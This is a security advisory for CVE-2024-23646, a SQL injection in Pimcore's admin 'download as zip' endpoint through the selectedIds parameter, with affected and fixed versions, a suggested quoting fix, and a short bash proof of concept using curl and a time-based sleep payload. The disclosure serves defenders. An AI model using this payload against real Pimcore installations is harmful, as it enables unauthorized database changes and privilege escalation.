Advisory

GHSA-cwx6-4wmf-c6xv

Also known as: CVE-2024-23646

Summary

SQL Injection in Admin download files as zip

Details

Summary
The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details
downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not.
The following code should be added:

  foreach ($selectedIds as $selectedId) {
      if ($selectedId) {
          $quotedSelectedIds[] = $db->quote($selectedId);
      }
  }

PoC

  • Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
  • Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie.
  • Run the following script, substituting the values accordingly:
#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"

curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
    -X GET \
    -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
    -H "Cookie: ${COOKIE}" `
  • The response is delayed by 6 seconds.

Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2024-01-24 20:54 UTC
Modified
2026-09-10 03:49 UTC

Affected packages and fixes

pimcore/admin-ui-classic-bundle

Packagist · All systems

Affected

  • introduced 1.0.0, fixed 1.3.2 (ecosystem)

Fixed versions

1.3.2

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences